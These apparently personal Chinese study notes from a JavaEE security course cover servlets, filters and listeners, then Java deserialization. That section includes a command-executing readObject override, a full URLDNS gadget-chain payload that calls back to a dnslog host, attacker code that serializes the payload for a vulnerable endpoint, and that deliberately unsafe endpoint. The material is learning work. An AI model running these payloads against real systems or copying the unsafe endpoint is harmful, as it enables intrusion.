xd_day32-day40

实践记录

xd_day32

25版的idea有javaweb的功能了。

配置完要部署

要选**demo:war exploded**

为什么要选它?

  • demo:war :是打包好的静态 .war 包,Tomcat 只会加载打包时的代码,你新写的 HelloServlet2 不会被自动更新进去。
  • demo:war exploded :是「展开式部署」,Tomcat 会直接读取你项目里的最新源码和编译文件target/classes + src/main/webapp),改完代码后只要按 Ctrl+F9 构建,Tomcat 就能立刻加载新代码,非常适合开发阶段。

不然改代码没重启没反应啊。

复制代码
@WebServlet(/hello-servlet")

是配置路由

@WebServlet的是大小写敏感的不要写成webservlet了

java 复制代码
package com.example.demo;

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}

快速总结

-JavaEE 应用&Servlet 路由技术&JDBC&Mybatis 数据库&生命周期-CSDN博客

#JavaEE-HTTP-Servlet&路由&周期

参考:https://blog.csdn.net/qq_52173163/article/details/121110753

1、解释

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他

HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet

可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建

网页。本章内容详细讲解了 web 开发的相关内容以及 servlet 相关内容的配置使用,是

JAVAEE 开发的重中之重。

2、创建和使用 Servlet

-创建一个类继承 HttpServlet

-web.xml 配置 Servlet 路由

-WebServlet 配置 Servlet 路由

-写入内置方法(init service destroy doget dopost)

3、Servlet 生命周期

见图

4、处理接受和回显

● HttpServletRequest 是 ServletRequest 的子接口

getParameter(name) --- String 通过 name 获得值

getParameterValues --- String[ ] 通过 name 获得多值

● HttpServletResponse 是 ServletResponse 的子接口

setCharacterEncoding() 设置编码格式

setContentType() 设置解析语言

getWriter() 获得一个 PrintWriter 字符输出流输出数据

PrintWriter 接受符合类型数据

#JavaEE-数据库-JDBC&Mybatis&库

-原生态数据库开发:JDBC

参考:https://www.jianshu.com/p/ed1a59750127

JDBC(Java Database connectivity): 由 java 提供,用于访问数据库的统一 API

接口规范.数据库驱动: 由各个数据库厂商提供,用于访问数据库的 jar 包(JDBC 的具体

实现),遵循 JDBC 接口,以便 java 程序员使用!

1、下载 jar

https://mvnrepository.com/

2、引用封装 jar

创建 lib 目录,复制导入后,添加为库

jdbc有预编译的· 提前编好执行逻辑 注入的语句不会改变原有

day33

第33天:安全开发-JavaEE应用 - my-kon-blog

并且路由大小写也是敏感的

  • Windows 文件系统 :NTFS 等文件系统确实不区分大小写Hello.txthello.txt 会被视为同一个文件。
  • Tomcat / Servlet 规范URL 路由是严格大小写敏感的 ,这是 Java Servlet 规范的要求,Tomcat 会严格按照你写的 @WebServlet("/Hello") 来匹配请求路径:
    • 访问 /Hello ✅ 匹配成功
    • 访问 /hello ❌ 匹配失败(404)
java 复制代码
package com.example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/Hello")
public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code = req.getParameter("code");
        PrintWriter out = resp.getWriter();
        out.println(code);
        out.flush();
        out.close();
    }
}
//resp.getWriter() 返回一个 PrintWriter 对象,允许向HTTP响应输出字符内容。
//out.println(code); 将 code 变量的内容打印到响应中,这样客户端就能看到这个值。
//out.flush(); 强制将缓冲区中的数据写出(即发送给客户端),确保没有数据滞留在缓冲区内。
//out.close(); 关闭 PrintWriter,释放资源。这一步很重要,因为它确保了资源得到适当的清理。
java 复制代码
package com.example.demo;


import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("欢迎进入管理员页面");
    }
}

1. 只要用了 @WebFilter 就会被当作过滤器吗?

前提满足的话:是的!完全是!

生效的两个必要条件(缺一不可):

  1. 类上添加 @WebFilter("/路径") 注解
  2. 实现 javax.servlet.Filter 接口 (重写 doFilter/init/destroy
java 复制代码
package com.example.demo;


import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/Hello")
public class XssFil implements Filter {
    @Override
    //中间件启动后就自动运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }
    @Override
    //中间件关闭后就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }
    @Override
    //doFilter 访问路由触发的方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("xss正在过滤");
    }
}

1. 执行逻辑(最重要!)

同一个路由下,执行顺序永远固定

  1. 先执行 Filter(过滤器) → 做前置处理(XSS 过滤、权限校验、日志打印)
  2. Filter 中调用 filterChain.doFilter()放行
  3. 再执行 Servlet → 处理业务逻辑

要加filterChain.doFilter(servletRequest, servletResponse);放行拦截。

java 复制代码
package com.example.demo;


import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/Hello")
public class XssFil implements Filter {
    @Override
    //中间件启动后就自动运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }
    @Override
    //中间件关闭后就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }
    @Override
    //doFilter 访问路由触发的方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("xss正在过滤");
       
        //放行数据code的的数据
        //所以就需要在放行之前就需要进行过滤,就是在下面这行代码之前进行过滤
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("xss过滤完毕");
    }
}

监听器

Web应用监听器实战:在线人数统计与事件处理-CSDN博客

req.getSession() 全称是 req.getSession(true),Java 封装了全部逻辑,你一行代码就搞定所有事:

  1. 检查浏览器请求里有没有带 JSESSIONID 这个 Cookie
  2. 没有自动创建新的 Session 对象
  3. 自动生成 JSESSIONID Cookie 发给浏览器 (不用你手动 new Cookie
  4. 有 → 直接拿到已存在的 Session
java 复制代码
package com.example.demo;

//Csession的代码


import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;

@WebServlet("/csession")
public class Csession extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("创建session");
        req.getSession();//创建session

    }
}
java 复制代码
package com.example.demo;

//Dsession的代码


import javax.servlet.ServletException;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/dsession")
public class Dsession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("销毁session");
        req.getSession().invalidate();//销毁session

    }
}

实现HttpSessionListener接口

java 复制代码
package com.example.demo;

//监听器的java代码


import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
import java.awt.*;

@WebListener//来个这个就来监听session的创建和销毁,因为你访问的地址,有创建和销毁session的动作,所以被监听器给捕获到了所以就检测到
public class listensession implements HttpSessionListener {//监听session的东西
    @Override
    public void sessionCreated(HttpSessionEvent se) {
        System.out.println("监听器已经创建");
    }
    @Override
    public void sessionDestroyed(HttpSessionEvent se) {
        System.out.println("监听器已经销毁");

    }
}
  • 接口定义规则 HttpSessionListener 是 JavaWeb 规定好的标准接口,只要你实现它,就代表你要监听 Session

  • 必须重写 2 个方法(接口强制要求)

    复制代码
    // Session 被创建时 自动执行(调用 req.getSession() 瞬间触发)
    sessionCreated()
    
    // Session 被销毁时 自动执行(超时/关闭/手动销毁)
    sessionDestroyed()
  • **加上 @WebListener**告诉 Tomcat:这是监听器,启动时自动加载。

  • Servlet/Filter 是为请求服务的,必须指定:拦截 / 处理哪个网址

  • 你的监听器是为 Session 事件 服务的:只要项目里任何地方 创建了 Session,它就自动触发,不管是哪个路由、哪个用户触发的

  • 只有创建或销毁的时候才会触发HttpSessionListener的监听。

day35

第35天:安全开发-JavaEE应用 - my-kon-blog

知识点:

  1. JavaEE-反序列化-解释&使用&安全:核心围绕JavaEE环境中反序列化的基本原理、实际应用场景及潜在安全风险,是理解后续安全问题的基础。
  2. JavaEE-安全-利用链&直接重写方法 :聚焦通过直接重写关键方法(如readObject)构建反序列化利用链的机制,是反序列化漏洞利用的常见方式。
  3. JavaEE-安全-利用链&外部重写方法:探讨借助外部类(非自定义类,如JDK自带类)的重写方法形成利用链的思路,如HashMap等类的漏洞利用。

演示案例:

  • Java-原生使用-序列化&反序列化:展示Java中序列化与反序列化的基础操作流程。
  • Java-安全问题-重写方法&触发方法:演示重写toStringreadObject方法可能引发的安全问题及触发方式。
  • Java-安全问题-可控其他类重写方法:以HashMap和URL为例,分析利用第三方类的方法调用链导致的安全风险。

Java序列化&反序列化-概念

  1. 序列化与反序列化

    • 序列化:将内存中的对象转换为字节流(包含对象数据、类型、属性等信息),便于存储或传输。
    • 反序列化:将字节流还原为内存中的对象,恢复对象的状态。
      核心作用:实现对象的跨进程/跨网络传输及持久化存储。
  2. 为什么有序列化技术

    序列化是数据传输和持久化的基础,主要应用场景包括:

    • 将对象持久化到文件或数据库中。
    • 跨网络(如套接字通信)传输对象。
    • 远程方法调用(RMI)中传输对象。
  3. 常见序列化/反序列化协议

    • JAVA内置:writeObject()/readObject()(原生序列化)、XMLDecoder()/XMLEncoder
    • 第三方库:XStream、SnakeYaml、FastJson、Jackson
      不同协议的实现逻辑不同,安全风险点也存在差异(如FastJson的autoType漏洞)。
  4. 反序列化安全问题根源

    核心在于反序列化过程中会自动执行对象的某些方法(如readObject),若这些方法被恶意重写或调用链中包含危险操作(如执行命令、访问敏感资源),攻击者可通过构造恶意序列化数据触发漏洞。常见风险点:

    • 重写readObject方法植入恶意逻辑。
    • 反序列化后输出对象时触发toString方法中的危险操作。
  5. 反序列化利用链

    利用链(Gadget Chain)是指一系列方法调用的链条,最终触发危险操作。常见类型:

    (1) 入口类的readObject直接调用危险方法(如Runtime.exec)。

    (2) 入口类参数包含可控类,该类有危险方法且被readObject调用。

    (3) 多级调用:入口类调用A类方法,A类再调用B类危险方法,形成链条。

    (4) 类加载时隐式执行:构造函数、静态代码块等在类加载阶段执行,若被反序列化触发则存在风险。

Java-原生使用-序列化&反序列化

完整实现步骤:

  1. 创建可序列化类 (实现Serializable接口)
java 复制代码
package com.example.serialtestdemo;

import java.io.Serializable;

// 用户信息类,实现Serializable接口以支持序列化

public class UserDemo implements Serializable {

// 公共成员变量(会被序列化)

public String name = "xiaodi";

public String gender = "man";

public Integer age = 30;

// 构造方法(序列化时不会执行,反序列化也不会自动调用)

public UserDemo(String name, String gender, Integer age) {

this.name = name;

this.gender = gender;

this.age = age;

System.out.println(name);

System.out.println(gender);

}

// toString方法,用于打印对象信息(反序列化后输出对象时调用)

public String toString() {

return "User{" +

"name='" + name + '\'' +

", gender='" + gender + '\'' +

", age=" + age +

'}';

}

}

这里定义属性的时候String的S要大写,Java里有的是 java.lang.String

String 首字母必须大写,因为它是 Java 的【类(Class)】,不是基本数据类型! Java 规定:所有类名,首字母必须大写(这是强制语法规范)。

  1. 序列化实现类
java 复制代码
package com.example.serialtestdemo;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

// 序列化演示类

public class SerializableDemo {

public static void main(String[] args) throws IOException {

// 创建用户对象

UserDemo u = new UserDemo("xdsec", "gay1", 30);

// 调用序列化方法,将对象写入ser.txt

SerializableTest(u);

// ser.txt中存储的是对象u的字节流数据

}

// 序列化方法:将对象转换为字节流并写入文件

public static void SerializableTest(Object obj) throws IOException {

// 关联文件输出流,指定输出文件为ser.txt

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));

// 执行序列化写入

oos.writeObject(obj);

oos.close(); // 关闭流释放资源

}

}
  1. 反序列化实现类
java 复制代码
package com.example.serialtestdemo;

import java.io.FileInputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

// 反序列化演示类

public class UnserializableDemo {

public static void main(String[] args) throws IOException, ClassNotFoundException {

// 反序列化ser.txt,得到对象

Object obj = UnserializableTest("ser.txt");

// 输出对象(默认调用toString方法)

System.out.println(obj);

}

// 反序列化方法:从文件读取字节流并还原为对象

public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {

// 关联文件输入流,读取指定文件

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));

// 执行反序列化

Object o = ois.readObject();

ois.close(); // 关闭流释放资源

return o;

}

}

这里FileInputStream和FileOutputStream的参数都是ser.txt,不过一个是从ser.txt读取,一个是写入ser.txt,然后外层都是Object流,

ObjectInputStreamObjectOutputStream 是高层次的数据流,它们包含反序列化和序列化对象的方法。

ObjectOutputStream 类包含很多写方法来写各种数据类型,但是一个特别的方法例外:

复制代码
public  final  void  writeObject(Object  x)  throws  IOException

上面的方法序列化一个对象,并将它发送到输出流。相似的 ObjectInputStream 类包含如下反序列化一个对象的方法:

复制代码
public  final  Object  readObject()  throws  IOException, ClassNotFoundException

该方法从流中取出下一个对象,并将对象反序列化。它的返回值为Object,因此,你需要将它转换成合适的数据类型。

不自己敲一遍,都不是自己的。

import java.io.Serializable;

Serializable的首字母也是大写的

Java-安全问题-重写方法&触发方法

java 复制代码
// 重写readObject方法,自定义反序列化逻辑
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // 先执行默认的反序列化(必须调用,否则对象属性无法正确还原)
    ois.defaultReadObject();
    // 危险操作:反序列化时直接执行系统命令(打开计算器)
    Runtime.getRuntime().exec("calc");
}

但是一般readObject是服务器代码,是开发写的,客户端时无法重写的。

你现在把 readObject 写在主类 Unserializedemo,但 Java 反序列化的规则是:

只有当 readObject 方法定义在【被序列化的实体类(比如 User)】里面时,反序列化时才会自动触发它!

写在主类里的 readObject 和反序列化流程完全无关,所以永远不会执行里面的 Runtime.getRuntime().exec("calc")

序列化 / 反序列化 是针对「对象」的操作,不是针对「工具类 / 主类」的操作! 你序列化的是 User 对象,反序列化还原的也是 User 对象,所以自定义的反序列化逻辑,必须绑定在 User 类自己身上

所以这里就可以思考一下,如果有些类自己重写了readObject方法呢。

HashMap的反序列化风险源于其重写的readObject方法,urldns链就是用的HashMap

urldns链

URLDNS链的利用效果是只能触发一次dns请求,而不能去执行命令。适用于漏洞验证,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。 在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在

核心真相(100% 大白话)

readObject() 本身完全正常、完全安全,不是漏洞!漏洞不是 readObject(),漏洞是:开发者把【你传给他的恶意数据】,塞进了 readObject() 里!


我直接回答你的灵魂拷问:

正常反序列化不都是放到 readObject () 里执行吗?对!完全对!但「正常反序列化」和「漏洞反序列化」有天壤之别!

1. 【正常代码】(安全,无漏洞)

开发者只反序列化 自己生成的、可信的数据

复制代码
// 服务器自己存的用户信息,自己读回来
ObjectInputStream ois = new ObjectInputStream(本地文件流);
User user = (User) ois.readObject(); 

👉 只读自己写的安全数据 👉 你传任何恶意数据,服务器根本不看! 👉 传 URLDNS → 无 DNS 请求,没反应

2. 【漏洞代码】(这才是漏洞!)

开发者脑残 ,把用户上传的、未知的、恶意的数据 ,直接丢进 readObject()

复制代码
// 接收用户传的数据流,直接反序列化!!!
InputStream 用户上传的数据 = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(用户上传的数据);
ois.readObject();  // 噩梦开始

👉 你传啥,它就反序列化啥👉 传 URLDNS → 触发 DNS👉 传 命令执行链 → 服务器中招


那 URLDNS 到底是测什么?

URLDNS 只测一件事:

服务器是不是在反序列化我传过去的数据

  • 触发 DNS = 是!真的在读我传的数据 → 有漏洞
  • 不触发 DNS = 否!服务器没读我的数据 → 无漏洞

原理分析:

HashMap的readObject方法在反序列化时会调用putVal,进而调用hash方法,最终触发URL.hashCode()。而URL.hashCode()会解析URL并发起网络请求(如DNS查询),若URL可控,可用于探测反序列化漏洞(无回显场景下的DNSlog验证)。

利用链(Gadget Chain):

HashMap.readObject() → HashMap.putVal() → HashMap.hash() → URL.hashCode()

代码实现:
java 复制代码
package com.example.serialtestdemo;

import java.io.*;

import java.net.URL;

import java.util.HashMap;

public class UrLDns implements Serializable {

public static void main(String[] args) throws IOException, ClassNotFoundException {

// 创建HashMap对象(JDK自带类,存在反序列化调用链)

HashMap<URL, Integer> hash = new HashMap<>();

// 构造恶意URL(指向DNSlog域名,用于检测请求)

URL u = new URL("http://vnq09p.dnslog.cn");

// 将URL放入HashMap(序列化时存储该键值对)

hash.put(u, 1);

// 序列化HashMap对象到dns.txt

SerializableTest(hash);

// 反序列化dns.txt,触发利用链

UnserializableTest("dns.txt");

}

// 序列化方法:将对象写入文件

public static void SerializableTest(Object obj) throws IOException {

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));

oos.writeObject(obj);

oos.close();

}

// 反序列化方法:从文件读取对象,触发链调用

public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));

Object o = ois.readObject(); // 反序列化时自动执行HashMap.readObject()

ois.close();

return o;

}

}

实际上正常在序列化过程中,传入dnslog地址也会有数据回显,因为在序列化过程中同时也调用了hashCode(hashCode传入初始值为-1,也会触发dnslog。图中注释部分与前面讲的JAVA反射技术就是为了动态修改url.Class类中初始hashCode的值,使其不为-1,以避免在探测漏洞时产生误报)

就是要探测的是反序列化任意用户输入数据。

HashMap

java基础不好还是得学

Java HashMap | 菜鸟教程

HashMap 概述

HashMap 是 Java 中最常用的集合类之一,它基于哈希表实现,提供了快速的键值对(key-value)存储和查询能力。

核心特点

特性 说明
键值对存储 每个元素包含一个键(Key)和一个值(Value)
键唯一 键不能重复,重复的键会覆盖旧值
允许null 允许一个 null 键和多个 null 值
非线程安全 多线程环境下需要外部同步或使用 ConcurrentHashMap
无序 不保证元素的顺序(JDK 1.8 后链表优化为红黑树)

基本用法示例

java 复制代码
import java.util.HashMap;

public class HashMapDemo {
    public static void main(String[] args) {
        // 1. 创建 HashMap
        // Key 类型为 String,Value 类型为 Integer
        HashMap<String, Integer> scores = new HashMap<>();
        
        // 2. 添加元素(put方法)
        scores.put("张三", 90);
        scores.put("李四", 85);
        scores.put("王五", 92);
        
        // 3. 获取元素(get方法)
        int zhangScore = scores.get("张三");  // 返回 90
        
        // 4. 检查是否包含某个键
        boolean hasLi = scores.containsKey("李四");  // true
        
        // 5. 获取大小
        int size = scores.size();  // 3
        
        // 6. 遍历 HashMap
        // 方式1:遍历键
        for (String name : scores.keySet()) {
            System.out.println(name + ": " + scores.get(name));
        }
        
        // 方式2:遍历键值对
        for (Map.Entry<String, Integer> entry : scores.entrySet()) {
            System.out.println(entry.getKey() + " = " + entry.getValue());
        }
        
        // 7. 删除元素
        scores.remove("王五");
        
        // 8. 更新值(键存在则覆盖,不存在则添加)
        scores.put("张三", 95);  // 更新为95分
    }
}

Java Map.Entry接口详解与使用entrySet遍历Map的方法-开发者社区-阿里云

java 复制代码
package com.example.demo;



import java.util.HashMap;
import java.util.Map;

public class MapEntryExample {


    public static void main(String[] args) {

        // 创建一个HashMap
        Map<String, Integer> scores = new HashMap<>();
        scores.put("Alice", 90);
        scores.put("Bob", 85);
        scores.put("Charlie", 95);

        // 使用entrySet()方法获取所有的Entry对象集合
        for (Map.Entry<String, Integer> entry : scores.entrySet()) {

            String key = entry.getKey();
            Integer value = entry.getValue();
            System.out.println("Key: " + key + ", Value: " + value);
        }
    }
}

官方文档确认:

Map.Entry 是内部接口

Oracle 官方文档 明确说明:

复制代码
public static interface Map.Entry<K,V>

关键信息

  • Enclosing interface: Map<K, V> ------ 它是 Map 的封闭接口(内部接口)

  • A map entry (key-value pair) ------ 表示一个键值对

第一步:map.entrySet() 返回的是啥?

复制代码
scores.entrySet()

返回的是一个 Set 集合 ,里面装的是所有键值对

复制代码
scores = { "张三"=90, "李四"=85, "王五"=92 }

scores.entrySet() 返回:
┌─────────────────────────────────────────┐
│  Set 集合(类似数组,但无序不重复)        │
│                                         │
│  [ Entry("张三", 90), Entry("李四", 85), │
│    Entry("王五", 92) ]                  │
│     ↑        ↑                          │
│    key     value                        │
└─────────────────────────────────────────┘

类型是Set<Map.Entry<String, Integer>>


第二步:for循环在干嘛?

复制代码
for (Map.Entry<String, Integer> entry : scores.entrySet())

这是增强for循环 (foreach),作用是遍历集合中的每个元素

复制代码
第1轮循环:entry = Entry("张三", 90)
第2轮循环:entry = Entry("李四", 85)  
第3轮循环:entry = Entry("王五", 92)

entry 是变量名 ,你可以改叫 eitemkv 都行。


第三步:entry 是对象吗?

是的!entry 是一个对象(实例)

复制代码
Map.Entry<String, Integer> entry
│      │           │        │
│      │           │        └── 变量名(引用)
│      │           └────────── 值的类型是 Integer
│      └────────────────────── 键的类型是 String
└───────────────────────────── 接口类型(说明这个对象实现了Entry接口)

entry 指向的对象 = HashMap 内部的 Node 对象(实现了 Map.Entry 接口)

复制代码
内存中:
entry ─────→ Node 对象
              ├── key = "张三"      ← entry.getKey() 取这个
              ├── value = 90        ← entry.getValue() 取这个
              └── hash = ...

完整图解

复制代码
代码:for (Map.Entry<String, Integer> entry : scores.entrySet())

执行过程:

┌─────────────────┐
│  scores.entrySet() 返回 Set 集合  │
│  [Entry("张三",90), Entry("李四",85)] │
└────────┬────────┘
         │
         ▼
┌─────────────────────────┐
│  for循环:逐个取出元素    │
│                         │
│  第1轮:entry ─────→ Entry("张三", 90) │
│           entry.getKey()   → "张三"    │
│           entry.getValue() → 90        │
│                         │
│  第2轮:entry ─────→ Entry("李四", 85) │
│           entry.getKey()   → "李四"    │
│           entry.getValue() → 85        │
└─────────────────────────┘

官方文档精准翻译(通俗直白版)

复制代码
entrySet
public Set<Map.Entry<K,V>> entrySet()

方法描述翻译

返回此 Map 中包含的所有键值对Set 集合视图。该集合和原 Map 是绑定关系,修改原 Map 会同步影响这个集合,修改这个集合也会同步影响原 Map。如果在遍历这个集合的过程中,强行修改了原 Map(除了用迭代器自带的删除 / 修改方法外),遍历结果会失效。该集合支持删除元素 (会同步删除 Map 里的键值对),不支持添加元素


标注翻译

  • Specified by : 该方法是 Map 接口规定必须实现的方法
  • Specified by : 该方法重写了父类 AbstractMap 中的方法

返回值翻译

返回包含此 Map 所有键值对Set 集合

问题1:为什么用 Map.Entry 声明变量?

复制代码
for (Map.Entry<String, Integer> entry : scores.entrySet())
//     ↑ 这是接口类型          ↑ 这是实际对象

答案:因为多态(接口编程)

复制代码
HashMap内部:                       你看到的:
┌─────────────────┐                ┌─────────────────┐
│  Node 类         │  实现了        │  Map.Entry 接口   │
│  (具体实现)       │ ───────────→  │  (规范/抽象)      │
│                 │                │                 │
│  key 属性        │                │  getKey() 方法   │
│  value 属性      │                │  getValue() 方法 │
│  hash 属性       │                │                 │
└─────────────────┘                └─────────────────┘

你只知道:entry 有 getKey() 和 getValue()
你不知道也不关心:entry 到底是 Node 还是其他类

好处 :不管 HashMap 内部用 Node 还是 TreeNode,你都用统一的方式访问。


问题2:接口能声明变量?

能! 这是Java的核心特性:接口引用指向实现类对象

复制代码
// 假设
interface Animal { void speak(); }
class Dog implements Animal { void speak() { System.out.println("汪"); } }

// 这样完全可以:
Animal a = new Dog();  // 接口变量指向实现类对象
a.speak();             // 调用的是 Dog 的 speak()

对应到 Entry

复制代码
// HashMap内部
class Node implements Map.Entry {  // Node 实现了 Entry 接口
    public Object getKey() { return key; }
    public Object getValue() { return value; }
}

// 你的代码
Map.Entry<String, Integer> entry = new Node("张三", 90);  // 多态
entry.getKey();  // 实际调用 Node.getKey()

完整图解

复制代码
scores.entrySet() 返回:
Set {
    Node("张三", 90),   ← 实际对象是 Node
    Node("李四", 85),   ← 实际对象是 Node
    Node("王五", 92)    ← 实际对象是 Node
}

for循环:
    entry ─────→ Node("张三", 90)
    ↑              └── 实现了 Map.Entry 接口
    │
Map.Entry<String, Integer> entry  ← 用接口类型声明变量

你只能看到接口方法:
    entry.getKey()   → 调用 Node.key
    entry.getValue() → 调用 Node.value
    
你看不到 Node 的内部属性 (hash, next等)

为什么这样设计?

设计 原因
接口声明变量 隐藏实现细节,只暴露必要方法
entrySet() 返回 Set 符合"集合是一组元素"的语义
Set 里装 Entry 对象 每个键值对是一个独立对象,可以单独操作

一句话

Map.Entry 是接口(规范),Node 是实现类(具体)。用接口声明变量,可以统一操作所有实现类,不管 HashMap 内部用的是链表节点还是红黑树节点。

java 复制代码
package com.example.demo;



import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class EntrySetTest {
    public static void main(String[] args) {

        Map<String, Integer> scores = new HashMap<>();
        scores.put("Alice", 90);
        scores.put("Bob", 85);
        scores.put("Charlie", 95);

        // 1️⃣ 获取 entrySet
        Set<Map.Entry<String, Integer>> entries = scores.entrySet();

        // 验证:entrySet 本身是什么类型
        System.out.println("entrySet 类型: " + entries.getClass());

        // 2️⃣ 遍历 entrySet
        for (Map.Entry<String, Integer> entry : entries) {

            // 验证:entry 是什么类型
            System.out.println("entry 实际类型: " + entry.getClass());

            // 验证:entry 里面确实有 key 和 value
            System.out.println("key = " + entry.getKey());
            System.out.println("value = " + entry.getValue());

            System.out.println("-----------");
        }
    }
}

一、先给你结论

class java.util.HashMap$EntrySet

👉 表示:

HashMap 里的一个内部类(EntrySet)


二、这个 $ 是什么意思?

这是重点👇

HashMap$EntrySet

👉 在 Java 里表示:

EntrySet 是 HashMap 的内部类

等价源码写法:

class HashMap<K,V> {

final class EntrySet extends AbstractSet<Map.Entry<K,V>> {

// ...

}

}


三、所以它是类吗?

✔ 是类

✔ 还是一个内部类(Inner Class)

✔ 还是一个 集合类(Set)


四、它的作用是什么?

👉 一句话:

把 HashMap 里的所有 Node(键值对)包装成一个 Set

算了会遍历就行了

Map.Entry学习和详解_map entry-CSDN博客

本地测试 vs 真实漏洞利用

本地测试(你的代码)

复制代码
// 本地测试:先写文件,再读文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(hash);  // 写到本地文件

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.txt"));
ois.readObject();  // 从本地文件读

目的 :验证漏洞原理,确认readObject()能触发DNS请求。


真实漏洞利用(反序列化接口)

目标 :找到一个接受用户输入并反序列化的接口。

复制代码
// 漏洞接口的典型写法(危险!)
@PostMapping("/parse")
public Object parseData(@RequestBody byte[] data) throws Exception {
    ByteArrayInputStream bis = new ByteArrayInputStream(data);  // 接收字节流!
    ObjectInputStream ois = new ObjectInputStream(bis);
    return ois.readObject();  // 直接反序列化用户输入!
}

攻击方式

复制代码
// 攻击者代码:生成payload字节数组
HashMap<URL, Integer> hash = new HashMap<>();
URL u = new URL("http://xxx.dnslog.cn");
hash.put(u, 1);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hash);
byte[] payload = baos.toByteArray();  // 序列化后的字节数组!

// HTTP发送给目标接口
// POST /parse body=payload

核心区别

场景 数据来源 流类型
本地测试 本地文件 dns.txt FileInputStream
真实利用 HTTP请求体 / Socket ByteArrayInputStream

为什么用字节流?

复制代码
攻击者视角:
┌─────────────────┐     序列化        ┌─────────────────┐
│  HashMap对象     │ ─────────────→  │  字节数组payload  │
│  (包含恶意URL)   │                 │  [0xAC, 0xED...] │
└─────────────────┘                 └────────┬────────┘
                                             │
                                             ▼ HTTP POST
                                        ┌─────────────────┐
                                        │  目标服务器接口   │
                                        │  ByteArrayInput │
                                        │  readObject()   │
                                        │       ↓         │
                                        │  触发DNS请求    │
                                        └─────────────────┘

关键点 :序列化后的数据是字节数组,可以通过任何方式传输(HTTP、TCP、WebSocket等)。


一句话总结

本地测试用 FileInputStream 读写文件,真实攻击用 ByteArrayInputStream 直接传字节数组

day36

第36天:安全开发-JavaEE应用 - my-kon-blog

Maven 是 Java 项目的「管家 + 快递员」,专门干两件事:

  1. 管理依赖(核心!和你复现漏洞直接相关) 以前写 Java,需要用到别人写的工具包(比如数据库、网络组件),得自己去官网下载 jar 包、手动导入项目,版本错了就报错。用 Maven,你只需要在pom.xml里写一行代码,指定组件名称 + 版本号 ,它就自动从云端下载对应版本的包 ,不用你管下载、导入、兼容问题。✅ 教程说「配置漏洞版本」,就是让 Maven 下载有漏洞的旧版本,这是复现漏洞的关键!
  2. 自动构建项目帮你编译代码、打包、运行,一键搞定,不用手动操作。

知识点:

  1. JavaEE-组件安全-Log4j

